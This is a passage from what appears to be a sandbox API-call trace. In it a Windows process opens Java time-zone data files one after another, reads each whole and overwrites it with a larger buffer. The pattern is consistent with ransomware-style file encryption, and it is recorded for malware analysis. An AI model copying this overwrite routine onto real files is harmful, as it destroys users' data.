[0050.705] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.705] ReleaseMutex (hMutex=0x128) returned 1 [0050.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-10", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0050.705] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-10", cchWideChar=6, lpMultiByteStr=0x1e6aa2c, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT-10", lpUsedDefaultChar=0x0) returned 6 [0050.705] ReadFile (in: hFile=0x198, lpBuffer=0x1e78970, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78970*, lpNumberOfBytesRead=0x2a0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0050.706] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.706] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0050.707] CloseHandle (hObject=0x198) returned 1 [0050.707] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-7" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\etc\\gmt-7"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.707] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.707] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1b [0050.707] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.707] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.707] ReleaseMutex (hMutex=0x128) returned 1 [0050.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-7", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0050.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="GMT-7", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GMT-7", lpUsedDefaultChar=0x0) returned 5 [0050.708] ReadFile (in: hFile=0x198, lpBuffer=0x1e78970, nNumberOfBytesToRead=0x1b, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e78970*, lpNumberOfBytesRead=0x2a0f2bc*=0x1b, lpOverlapped=0x0) returned 1 [0050.709] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0050.709] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5a3, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5a3, lpOverlapped=0x0) returned 1 [0050.709] CloseHandle (hObject=0x198) returned 1 [0050.709] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Brussels" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\brussels"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0050.710] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.710] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x61c [0050.710] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0050.710] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0050.710] ReleaseMutex (hMutex=0x128) returned 1 [0050.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Brussels", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0050.710] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Brussels", cchWideChar=8, lpMultiByteStr=0x1e6314c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Brussels", lpUsedDefaultChar=0x0) returned 8 [0050.710] ReadFile (in: hFile=0x198, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x61c, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x2a0f2bc*=0x61c, lpOverlapped=0x0) returned 1 [0051.190] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.190] WriteFile (in: hFile=0x198, lpBuffer=0x276d7b8*, nNumberOfBytesToWrite=0xba4, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276d7b8*, lpNumberOfBytesWritten=0x2a0f2d0*=0xba4, lpOverlapped=0x0) returned 1 [0051.190] CloseHandle (hObject=0x198) returned 1 [0051.190] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Kiev" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\kiev"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.191] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.191] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x418 [0051.191] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.191] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.191] ReleaseMutex (hMutex=0x128) returned 1 [0051.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kiev", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0051.191] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kiev", cchWideChar=4, lpMultiByteStr=0x1e6aa2c, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Kiev", lpUsedDefaultChar=0x0) returned 4 [0051.191] ReadFile (in: hFile=0x198, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x418, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x2a0f2bc*=0x418, lpOverlapped=0x0) returned 1 [0051.193] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.193] WriteFile (in: hFile=0x198, lpBuffer=0x1de0dd8*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1de0dd8*, lpNumberOfBytesWritten=0x2a0f2d0*=0x9a0, lpOverlapped=0x0) returned 1 [0051.193] CloseHandle (hObject=0x198) returned 1 [0051.193] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Paris" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\paris"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.193] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.193] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x620 [0051.193] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.193] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.193] ReleaseMutex (hMutex=0x128) returned 1 [0051.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Paris", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0051.194] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Paris", cchWideChar=5, lpMultiByteStr=0x1e6aa2c, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Paris", lpUsedDefaultChar=0x0) returned 5 [0051.194] ReadFile (in: hFile=0x198, lpBuffer=0x263fd98, nNumberOfBytesToRead=0x620, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesRead=0x2a0f2bc*=0x620, lpOverlapped=0x0) returned 1 [0051.195] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.195] WriteFile (in: hFile=0x198, lpBuffer=0x276d7b8*, nNumberOfBytesToWrite=0xba8, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x276d7b8*, lpNumberOfBytesWritten=0x2a0f2d0*=0xba8, lpOverlapped=0x0) returned 1 [0051.195] CloseHandle (hObject=0x198) returned 1 [0051.195] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Uzhgorod" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\europe\\uzhgorod"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.197] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.197] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x41c [0051.197] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.197] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.197] ReleaseMutex (hMutex=0x128) returned 1 [0051.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Uzhgorod", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0051.197] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Uzhgorod", cchWideChar=8, lpMultiByteStr=0x1e6312c, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Uzhgorod", lpUsedDefaultChar=0x0) returned 8 [0051.197] ReadFile (in: hFile=0x198, lpBuffer=0x2625a48, nNumberOfBytesToRead=0x41c, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2625a48*, lpNumberOfBytesRead=0x2a0f2bc*=0x41c, lpOverlapped=0x0) returned 1 [0051.199] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.199] WriteFile (in: hFile=0x198, lpBuffer=0x2613698*, nNumberOfBytesToWrite=0x9a4, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2613698*, lpNumberOfBytesWritten=0x2a0f2d0*=0x9a4, lpOverlapped=0x0) returned 1 [0051.199] CloseHandle (hObject=0x198) returned 1 [0051.199] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Antananarivo" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\antananarivo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.200] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.200] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x59 [0051.200] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.200] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.200] ReleaseMutex (hMutex=0x128) returned 1 [0051.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Antananarivo", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.200] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Antananarivo", cchWideChar=12, lpMultiByteStr=0x1e62fec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Antananarivo", lpUsedDefaultChar=0x0) returned 12 [0051.200] ReadFile (in: hFile=0x198, lpBuffer=0x1ea3eb8, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3eb8*, lpNumberOfBytesRead=0x2a0f2bc*=0x59, lpOverlapped=0x0) returned 1 [0051.201] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.201] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e1, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5e1, lpOverlapped=0x0) returned 1 [0051.201] CloseHandle (hObject=0x198) returned 1 [0051.201] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Indian\\Reunion" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\indian\\reunion"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.201] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.202] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x41 [0051.202] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.202] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.202] ReleaseMutex (hMutex=0x128) returned 1 [0051.202] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reunion", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0051.202] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reunion", cchWideChar=7, lpMultiByteStr=0x1e6aa2c, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reunion", lpUsedDefaultChar=0x0) returned 7 [0051.202] ReadFile (in: hFile=0x198, lpBuffer=0x1eaaa98, nNumberOfBytesToRead=0x41, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1eaaa98*, lpNumberOfBytesRead=0x2a0f2bc*=0x41, lpOverlapped=0x0) returned 1 [0051.203] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.203] WriteFile (in: hFile=0x198, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x5c9, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5c9, lpOverlapped=0x0) returned 1 [0051.203] CloseHandle (hObject=0x198) returned 1 [0051.203] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Enderbury" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\enderbury"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.203] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.203] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x59 [0051.203] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.204] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.204] ReleaseMutex (hMutex=0x128) returned 1 [0051.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Enderbury", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0051.204] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Enderbury", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Enderbury", lpUsedDefaultChar=0x0) returned 9 [0051.204] ReadFile (in: hFile=0x198, lpBuffer=0x1ea3eb8, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3eb8*, lpNumberOfBytesRead=0x2a0f2bc*=0x59, lpOverlapped=0x0) returned 1 [0051.204] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.204] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e1, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5e1, lpOverlapped=0x0) returned 1 [0051.205] CloseHandle (hObject=0x198) returned 1 [0051.205] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Kiritimati" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\kiritimati"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.205] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.205] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x59 [0051.205] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.205] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.205] ReleaseMutex (hMutex=0x128) returned 1 [0051.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kiritimati", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0051.205] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Kiritimati", cchWideChar=10, lpMultiByteStr=0x1e6306c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Kiritimati", lpUsedDefaultChar=0x0) returned 10 [0051.206] ReadFile (in: hFile=0x198, lpBuffer=0x1ea3eb8, nNumberOfBytesToRead=0x59, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1ea3eb8*, lpNumberOfBytesRead=0x2a0f2bc*=0x59, lpOverlapped=0x0) returned 1 [0051.206] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.206] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5e1, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5e1, lpOverlapped=0x0) returned 1 [0051.207] CloseHandle (hObject=0x198) returned 1 [0051.207] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Pago_Pago" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\pago_pago"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.207] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.207] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x4d [0051.207] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.207] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0051.207] ReleaseMutex (hMutex=0x128) returned 1 [0051.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pago_Pago", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0051.207] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pago_Pago", cchWideChar=9, lpMultiByteStr=0x1e6312c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pago_Pago", lpUsedDefaultChar=0x0) returned 9 [0051.207] ReadFile (in: hFile=0x198, lpBuffer=0x1e8f468, nNumberOfBytesToRead=0x4d, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e8f468*, lpNumberOfBytesRead=0x2a0f2bc*=0x4d, lpOverlapped=0x0) returned 1 [0051.208] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0051.208] WriteFile (in: hFile=0x198, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x5d5, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x2a0f2d0*=0x5d5, lpOverlapped=0x0) returned 1 [0051.208] CloseHandle (hObject=0x198) returned 1 [0051.208] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Pacific\\Wake" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\pacific\\wake"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0051.209] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0051.209] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 